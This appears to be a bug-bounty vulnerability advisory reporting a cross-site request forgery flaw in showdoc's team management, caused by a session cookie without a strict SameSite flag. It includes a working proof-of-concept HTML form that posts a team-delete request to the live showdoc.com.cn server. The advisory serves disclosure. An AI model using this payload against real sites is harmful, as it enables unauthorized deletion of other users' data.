Cross-Site Request Forgery (CSRF) in star7th/showdoc

2021-11-2113:18:23

amammad

www.huntr.dev

0.001 Low

EPSS

Percentile

30.5%

JSON

Description

You set the strict flag only for one of your cookies named cookie_token but in Team management attacker still can delete or add teams with CSRF vulnerability as the cookie with name PHPSESSID don’t have strict flag.

Proof of Concept

1.replace 38046 with the team id

2.open poc.html and click on submit button.

3.after that the team with id 38046 or your replaced team id will be deleted.

//poc.html

&lt;html&gt;
  &lt;body&gt;
  &lt;script&gt;history.pushState('', '', '/')&lt;/script&gt;
    &lt;form action="https://www.showdoc.com.cn/server/index.php?s=/api/team/delete" method="POST"&gt;
      &lt;input type="hidden" name="id" value="38046" /&gt;
      &lt;input type="submit" value="Submit request" /&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;

0.001 Low

EPSS

Percentile

30.5%

JSON

Related for 0AA84736-139B-4AE7-BECF-604F7F60B1C9